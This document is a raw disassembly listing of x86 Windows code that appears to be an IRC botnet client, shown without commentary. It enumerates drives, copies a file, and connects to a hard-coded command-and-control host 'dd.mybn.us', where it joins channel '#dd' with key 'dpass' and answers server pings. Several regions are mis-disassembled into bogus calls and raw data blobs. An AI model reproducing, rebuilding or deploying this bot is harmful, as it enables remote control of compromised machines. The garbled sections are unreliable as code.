arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_40878B
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_410930
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408919
		push	ebx
		push	ebx
		call	sub_4086FA
		pop	ecx
		push	eax
		push	offset dword_422F98
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_410A8A
		add	esp, 14h
		jmp	short loc_40894D
; ---------------------------------------------------------------------------


loc_408919:				; CODE XREF: sub_4088A6+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4086FA
		pop	ecx
		push	eax
		push	offset dword_422F48
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_410A8A
		add	esp, 20h


loc_40894D:				; CODE XREF: sub_4088A6+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E367
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_407E0E
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4088A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408978	proc near		; CODE XREF: seg000:0040DA6Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_408999
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4088A6
		add	esp, 10h
		jmp	short loc_4089FA
; ---------------------------------------------------------------------------


loc_408999:				; CODE XREF: sub_408978+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	ds:dword_430710	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_410C0F
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	ds:dword_430710	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_4089F1


loc_4089BD:				; CODE XREF: sub_408978+77j
		push	offset aA_0	; "A:\\"
		push	esi
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4089E0
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4088A6
		add	esp, 10h


loc_4089E0:				; CODE XREF: sub_408978+54j
		push	esi
		call	sub_410B60
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_4089BD


loc_4089F1:				; CODE XREF: sub_408978+43j
		push	edi
		call	sub_410C83
		pop	ecx
		pop	edi
		pop	esi


loc_4089FA:				; CODE XREF: sub_408978+1Fj
		pop	ebx
		pop	ebp
		retn
sub_408978	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4089FD	proc near		; DATA XREF: sub_4089FD+FCo

var_1577B	= byte ptr -1577Bh
var_988		= byte ptr -988h
var_884		= byte ptr -884h
var_883		= byte ptr -883h
var_4F4		= byte ptr -4F4h
var_3F0		= byte ptr -3F0h
var_2EC		= byte ptr -2ECh
var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_1E8		= byte ptr -1E8h
var_158		= byte ptr -158h
var_E4		= byte ptr -0E4h
var_A0		= byte ptr -0A0h
var_64		= dword	ptr -64h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	ds:dword_4358E4
		call	ds:dword_430828	; closesocket
		call	sub_410180
		call	ds:dword_430700	; WSACleanup
		call	ds:dword_430700	; WSACleanup
		mov	ebx, ds:dword_41C058
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_410590
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_410590
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_42F3E8
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	near ptr 3D0000h
		add	cl, [ebp+var_1577B]
		call	dword ptr [esi+50h]
		push	edi
		call	near ptr 3D0000h
		mov	ah, 8Dh
		inc	ebp
		lock push eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	near ptr 3D0000h
		push	esi
		test	eax, eax
		jz	short loc_408AC2
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, ds:dword_41C070
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle


loc_408AC2:				; CODE XREF: sub_4089FD+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_434B4C
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	ds:dword_41C0F8	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], offset sub_4089FD
		push	[ebp+var_4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		cmp	ds:dword_423000, ebx
		jz	short loc_408B1E
		call	sub_407261


loc_408B1E:				; CODE XREF: sub_4089FD+11Aj
		mov	esi, ds:dword_41C04C
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ds:dword_45EBC8, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_41055D
		pop	ecx
		call	sub_405D8E
		push	2
		call	ds:dword_43083C	; SetErrorMode
		push	7530h
		push	offset aIds44433 ; "ids44433"
		push	ebx
		push	ebx
		call	near ptr 1090004h
		cmpsd
		push	eax
		call	near ptr 1250004h
		pusha
		cmp	eax, 102h
		jnz	short loc_408B72
		push	1
		call	ds:dword_41C0F8	; ExitProcess


loc_408B72:				; CODE XREF: sub_4089FD+16Bj
		lea	eax, [ebp+var_884]
		push	eax
		push	202h
		call	ds:dword_430718	; WSAStartup
		cmp	eax, ebx
		jnz	loc_4090A7
		cmp	[ebp+var_884], 2
		jnz	loc_4090A1
		xor	eax, eax
		mov	al, [ebp+var_883]
		cmp	al, 2
		jnz	loc_4090A1
		mov	esi, 104h
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		call	near ptr 1270004h
		dec	ecx
		lea	eax, [ebp+var_2EC]
		push	esi
		push	eax
		push	ebx
		call	near ptr 1290004h
		mov	esp, 7433E850h
		jmp	far ptr	0FA0Ch:858D3100h
; ---------------------------------------------------------------------------
		dw 0FFFFh
		dd 0C858D50h, 50FFFFF9h, 14858D53h, 53FFFFFDh, 95FAE850h
		dd 858D0000h, 0FFFFFA0Ch, 0C858D50h, 50FFFFF9h,	41F96868h
		dd 0C858D00h, 56FFFFFBh, 7E7CE850h, 858D0000h, 0FFFFFC10h
		dd 14858D50h, 50FFFFFDh, 7EBFE8h, 30C48300h, 850FC085h
		dd 1B8h, 0ED381D39h, 68BE0045h,	74004230h, 0FF335631h
		dd 7F1FE8h, 4E88300h
		db 59h,	74h, 23h
; ---------------------------------------------------------------------------


loc_408C47:				; CODE XREF: sub_4089FD+26Bj
		call	sub_410567
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	ds:byte_423068[edi], dl
		inc	edi
		call	sub_410B60
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_408C47
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		lea	eax, [ebp+var_1E8]
		push	offset dword_42A12C
		push	eax
		call	sub_41050B
		add	esp, 10h
		lea	eax, [ebp+var_1E8]
		push	eax
		call	ds:dword_41C07C	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408CAA
		lea	eax, [ebp+var_1E8]
		push	80h
		push	eax
; ---------------------------------------------------------------------------
		dd 0FC7357E8h
		db 0FFh, 58h
; ---------------------------------------------------------------------------


loc_408CAA:				; CODE XREF: sub_4089FD+299j
		mov	esi, ds:dword_41C108
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		xor	edi, edi
		push	eax


loc_408CC1:				; CODE XREF: sub_4089FD+2FBj
		call	esi	; CopyFileA
		test	eax, eax
		jnz	short loc_408CFA
		call	ds:dword_41C068	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_408CFA
		cmp	eax, 20h
		jz	short loc_408CDB
		cmp	eax, 5
		jnz	short loc_408CFA


loc_408CDB:				; CODE XREF: sub_4089FD+2D7j
		push	1
		pop	edi
		push	3A98h
		call	ds:dword_41C058	; Sleep
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		jmp	short loc_408CC1
; ---------------------------------------------------------------------------


loc_408CFA:				; CODE XREF: sub_4089FD+2C8j
					; sub_4089FD+2D2j ...
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_407013
		pop	ecx
		lea	eax, [ebp+var_1E8]
		push	7
		push	eax
		call	near ptr 1310004h
		jmp	short loc_408D81
; ---------------------------------------------------------------------------
		db 10h
		dd 53E0458Dh, 786EE850h, 446A0000h, 0FF1C858Dh,	565EFFFFh
		dd 5DE85053h, 83000078h, 0B58918C4h, 0FFFFFF1Ch, 0FF2885C7h
		dd 0F3E8FFFFh, 89660042h, 0FFFF4C9Dh, 5E016AFFh, 0FF48B589h
		dd 0A9E8FFFFh, 0AC00F272h, 685650h, 0E8001000h,	0F4729Ch
		dd 148D8D9Ah, 51FFFFFDh, 18858D50h, 50FFFFFEh, 0F678858Dh
		dd 2068FFFFh
		db 0A1h
; ---------------------------------------------------------------------------


loc_408D81:				; CODE XREF: sub_4089FD+318j
		inc	edx
		add	[eax-18h], dl
		xor	byte ptr [edi+0], 0
		add	esp, 14h
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_988]
		push	ebx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		call	near ptr 1370004h
		dec	edx
		test	eax, eax
		jz	short loc_408DE4
		push	0C8h
		call	ds:dword_41C058	; Sleep
		push	[ebp+var_20]
		mov	esi, ds:dword_41C070
		call	esi	; CloseHandle
		push	[ebp+var_1C]
		call	esi	; CloseHandle
		call	ds:dword_430700	; WSACleanup
		push	ebx
		call	ds:dword_41C0F8	; ExitProcess


loc_408DE4:				; CODE XREF: sub_4089FD+3BDj
		cmp	ds:dword_45F860, 2
		jle	short near ptr loc_408E2F+1
		mov	eax, ds:dword_45F864
		push	dword ptr [eax+4]
		call	sub_410A7F
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	near ptr 3D0000h
		das
		push	esi
		call	ds:dword_41C070	; CloseHandle
		mov	eax, ds:dword_45F864
		cmp	[eax+8], ebx
		jz	short near ptr loc_408E2F+1
		push	7D0h
		call	ds:dword_41C058	; Sleep
		mov	eax, ds:dword_45F864
		push	dword ptr [eax+8]
		call	near ptr 3D0000h


loc_408E2F:				; CODE XREF: sub_4089FD+3EEj
					; sub_4089FD+418j
		les	edi, [ecx]
		sbb	eax, offset dword_423008
		jz	short loc_408E4D
		cmp	ds:dword_430860, ebx
		jnz	short loc_408E4D
		lea	eax, [ebp+var_4F4]
		push	eax
		call	sub_40801D
		pop	ecx


loc_408E4D:				; CODE XREF: sub_4089FD+439j
					; sub_4089FD+441j
		lea	eax, [ebp+var_A0]
		push	offset dword_42A0F4
		push	eax
		call	sub_41050B
		push	ebx
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_40FFB7
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_407E0E
		push	0B80h
		push	ebx
		push	offset dword_434B58
		call	sub_410590
		lea	eax, [ebp+var_A0]
		push	offset unk_42A0B4
		push	eax
		call	sub_41050B
		push	ebx
		lea	eax, [ebp+var_A0]
		push	1
		push	eax
		call	sub_40FFB7
		add	esp, 38h
		mov	esi, eax
		mov	edi, ds:dword_41C06C
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		push	offset loc_40FF99
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	ds:dword_4358EC[esi], eax
		jnz	short loc_408EED
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_A0]
		push	offset unk_42A064
		push	eax
		call	sub_41050B
		add	esp, 0Ch


loc_408EED:				; CODE XREF: sub_4089FD+4D3j
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_407E0E
		lea	eax, [ebp+var_A0]
		mov	dword ptr [esp+0], offset unk_42A028
		push	eax
		call	sub_41050B
		push	ebx
		lea	eax, [ebp+var_A0]
		push	1
		push	eax
		call	sub_40FFB7
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset loc_40808D
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	ds:dword_4358EC[esi], eax
		jnz	short loc_408F60
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_A0]
		push	offset unk_429FD8
		push	eax
		call	sub_41050B
		add	esp, 0Ch


loc_408F60:				; CODE XREF: sub_4089FD+546j
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_407E0E
		call	sub_410567
		push	7Fh
		push	offset aDd_mybn_us ; "dd.mybn.us"
		push	offset dword_45EBD4
		mov	ds:dword_45ED4C, ebx
		call	sub_411D00
		mov	eax, ds:dword_422FEC
		push	3Fh
		mov	edi, offset dword_45EC54
		push	offset aDd	; "#dd"
		push	edi
		mov	ds:dword_45ED24, eax
		call	sub_411D00
		push	3Fh
		mov	esi, offset dword_45EC94
		push	offset aDpass	; "dpass"
		push	esi
		call	sub_411D00
		add	esp, 28h
		mov	ds:dword_45ED28, ebx


loc_408FBF:				; CODE XREF: sub_4089FD+64Aj
					; sub_4089FD+655j ...
		mov	[ebp+var_4], ebx


loc_408FC2:				; CODE XREF: sub_4089FD+5FEj
		push	offset dword_45EBD0
		mov	ds:dword_45ED48, ebx
		call	sub_4090B0
		cmp	eax, 2
		mov	[ebp+var_10], eax
		jz	loc_40909C
		cmp	ds:dword_45ED48, ebx
		jz	short loc_408FE9
		dec	[ebp+var_4]


loc_408FE9:				; CODE XREF: sub_4089FD+5E7j
		push	0BB8h
		call	ds:dword_41C058	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_408FC2
		cmp	[ebp+var_10], 2
		jz	loc_40909C
		cmp	[ebp+var_C], ebx
		jz	short loc_40904C
		push	7Fh
		push	offset aDd_mybn_us ; "dd.mybn.us"
		push	offset dword_45EBD4
		call	sub_411D00
		mov	eax, ds:dword_422FEC
		push	3Fh
		push	offset aDd	; "#dd"
		push	edi
		mov	ds:dword_45ED24, eax
		call	sub_411D00
		push	3Fh
		push	offset aDpass	; "dpass"
		push	esi
		call	sub_411D00
		add	esp, 24h
		mov	[ebp+var_C], ebx
		jmp	loc_408FBF
; ---------------------------------------------------------------------------


loc_40904C:				; CODE XREF: sub_4089FD+60Dj
		cmp	ds:byte_423050,	bl
		jz	loc_408FBF
		push	7Fh
		push	offset byte_423050
		push	offset dword_45EBD4
		call	sub_411D00
		mov	eax, ds:dword_422FF0
		push	3Fh
		push	offset dword_42305C
		push	edi
		mov	ds:dword_45ED24, eax
		call	sub_411D00
		push	3Fh
		push	offset aDpass_0	; "dpass"
		push	esi
		call	sub_411D00
		add	esp, 24h
		mov	[ebp+var_C], 1
		jmp	loc_408FBF
; ---------------------------------------------------------------------------


loc_40909C:				; CODE XREF: sub_4089FD+5DBj
					; sub_4089FD+604j
		call	sub_410180


loc_4090A1:				; CODE XREF: sub_4089FD+196j
					; sub_4089FD+1A6j
		call	ds:dword_430700	; WSACleanup


loc_4090A7:				; CODE XREF: sub_4089FD+189j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_4089FD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4090B0	proc near		; CODE XREF: sub_4089FD+5D0p
					; DATA XREF: seg000:0040C4CBo

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_4090D5:				; CODE XREF: sub_4090B0+E6j
					; sub_4090B0+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_410590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	ds:dword_430794	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40731F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_409202
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_410590
		push	0
		lea	eax, [ebp+var_2C]
		push	ds:dword_45ED3C
		push	ds:dword_423014
		push	eax
		call	sub_40FA4E
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_4358F0
		push	edi
		push	eax
		call	sub_411D00
		add	esp, 28h
		push	6
		push	1
		push	2
		call	ds:dword_430810	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	ds:dword_4358E4[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	ds:dword_430740	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40919B
		push	esi
		call	ds:dword_430828	; closesocket
		call	sub_407348
		push	7D0h


loc_409190:				; CODE XREF: sub_4090B0+146j
		call	ds:dword_41C058	; Sleep
		jmp	loc_4090D5
; ---------------------------------------------------------------------------


loc_40919B:				; CODE XREF: sub_4090B0+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset dword_42A134
		call	sub_407E82
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_409218
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	ds:dword_430828	; closesocket
		test	edi, edi
		jz	loc_4090D5
		cmp	edi, 1
		jnz	short loc_4091F8
		push	0DBBA0h
		jmp	short loc_409190
; ---------------------------------------------------------------------------


loc_4091F8:				; CODE XREF: sub_4090B0+13Fj
		cmp	edi, 2
		jz	short loc_409206
		jmp	loc_4090D5
; ---------------------------------------------------------------------------


loc_409202:				; CODE XREF: sub_4090B0+5Aj
		xor	eax, eax
		jmp	short loc_409212
; ---------------------------------------------------------------------------


loc_409206:				; CODE XREF: sub_4090B0+14Bj
		push	[ebp+var_34]
		call	sub_4102D3
		pop	ecx
		push	2
		pop	eax


loc_409212:				; CODE XREF: sub_4090B0+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4090B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409218	proc near		; CODE XREF: sub_4090B0+123p

var_1A10	= byte ptr -1A10h
var_A10		= byte ptr -0A10h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	sub_410BE0
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx


loc_409236:				; CODE XREF: sub_409218+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_409236
		cmp	ds:byte_45ED40,	bl
		jz	short loc_40925D
		push	offset byte_45ED40
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_40E321
		add	esp, 0Ch


loc_40925D:				; CODE XREF: sub_409218+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40FA4E
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41050B
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_410B60
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4307E0	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4092C7
		push	[ebp+arg_0]
		call	ds:dword_430828	; closesocket
		push	1388h
		call	ds:dword_41C058	; Sleep


loc_4092C0:				; CODE XREF: sub_409218+D9j
					; sub_409218+153j
		xor	eax, eax


loc_4092C2:				; CODE XREF: sub_409218+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4092C7:				; CODE XREF: sub_409218+92j
					; sub_409218+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A10]
		push	esi
		push	ebx
		push	eax
		call	sub_410590
		add	esp, 0Ch
		lea	eax, [ebp+var_1A10]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4307AC	; recv
		test	eax, eax
		jle	short loc_4092C0
		lea	eax, [ebp+var_A10]
		push	eax
		lea	eax, [ebp+var_1A10]
		push	eax
		call	sub_406CFF
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_4092C7
		lea	edi, [ebp+var_A10]


loc_409318:				; CODE XREF: sub_409218+165j
		push	1
		pop	esi


loc_40931B:				; CODE XREF: sub_409218+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	loc_409390
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_40935E
		push	7D0h
		call	ds:dword_41C058	; Sleep
		jmp	short loc_40931B
; ---------------------------------------------------------------------------


loc_40935E:				; CODE XREF: sub_409218+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_409388
		cmp	esi, 0FFFFFFFEh
		jz	short loc_409384
		cmp	esi, 0FFFFFFFFh
		jz	loc_4092C0
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_409318
		jmp	loc_4092C7
; ---------------------------------------------------------------------------


loc_409384:				; CODE XREF: sub_409218+14Ej
		push	1
		jmp	short loc_40938A
; ---------------------------------------------------------------------------


loc_409388:				; CODE XREF: sub_409218+149j
		push	2


loc_40938A:				; CODE XREF: sub_409218+16Ej
		pop	eax
		jmp	loc_4092C2
sub_409218	endp

; ---------------------------------------------------------------------------


loc_409390:				; CODE XREF: sub_409218+12Ap
		push	ebp
		mov	ebp, esp
		mov	eax, 159Ch
		call	sub_410BE0
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp-2E4h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-0ACh], 3
		mov	[ebp-10h], ebx
		mov	[ebp-0A8h], ebx
		mov	[ebp-8], ebx
		mov	[ebp-4], ebx
		mov	[ebp-0C8h], ebx
		call	sub_410590
		push	1Bh
		lea	eax, [ebp-464h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_411D00
		add	esp, 18h
		cmp	[ebp+8], ebx
		jz	loc_40980B
		push	esi
		lea	eax, [ebp-0F9Ch]
		push	ebx
		push	eax
		call	sub_410590
		dec	esi
		lea	eax, [ebp-0F9Ch]
		push	esi
		push	dword ptr [ebp+8]
		push	eax
		call	sub_411D00
		lea	eax, [ebp-0F9Ch]
		push	offset asc_42CBAC ; " :"
		push	eax
		call	sub_410AE0
		mov	[ebp-0Ch], eax
		lea	eax, [ebp-0F9Ch]
		push	esi
		push	eax
		lea	eax, [ebp-119Ch]
		push	eax
		call	sub_411D00
		mov	esi, offset asc_41F6B0 ; " "
		lea	eax, [ebp-119Ch]
		push	esi
		push	eax
		call	sub_411C60
		add	esp, 34h
		mov	[ebp-0A0h], eax
		lea	edi, [ebp-9Ch]
		mov	dword ptr [ebp-0A4h], 1Fh


loc_409463:				; CODE XREF: seg000:00409477j
		push	esi
		push	ebx
		call	sub_411C60
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	dword ptr [ebp-0A4h]
		pop	ecx
		jnz	short loc_409463
		mov	esi, [ebp-0A0h]
		cmp	esi, ebx
		jz	loc_40980B
		cmp	[ebp-9Ch], ebx
		jz	loc_40980B
		push	100h
		lea	eax, [ebp-0A14h]
		push	ebx
		push	eax
		call	sub_410590
		add	esp, 0Ch
		lea	ecx, [ebp-24h]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_4094B1:				; CODE XREF: seg000:004094E3j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_4094DD
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_4094E5
		cmp	[eax+2], bl
		jnz	short loc_4094E5
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	byte ptr [ebp+esi-0A14h], 1
		mov	esi, [ebp-0A0h]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_4094DD:				; CODE XREF: seg000:004094B5j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_4094B1


loc_4094E5:				; CODE XREF: seg000:004094BAj
					; seg000:004094BFj
		cmp	[ebp-9A1h], bl
		jz	short loc_4094F0
		mov	[ebp-8], edi


loc_4094F0:				; CODE XREF: seg000:004094EBj
		cmp	[ebp-9A6h], bl
		jz	short loc_4094FE
		mov	[ebp-8], ebx
		mov	[ebp-4], edi


loc_4094FE:				; CODE XREF: seg000:004094F6j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_409538
		push	7Fh
		lea	eax, [ebp-0A94h]
		push	esi
		push	eax
		call	sub_411D00
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		call	sub_411D00
		lea	eax, [ebp-0C4h]
		push	offset dword_42625C
		push	eax
		call	sub_411C60
		add	esp, 20h


loc_409538:				; CODE XREF: seg000:00409501j
		push	esi
		push	offset aPing	; "PING"
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409589
		push	dword ptr [ebp-9Ch]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40E321
		mov	eax, [ebp+28h]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_40962D
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40E321
		add	esp, 10h
		jmp	loc_40962D
; ---------------------------------------------------------------------------


loc_409589:				; CODE XREF: seg000:00409547j
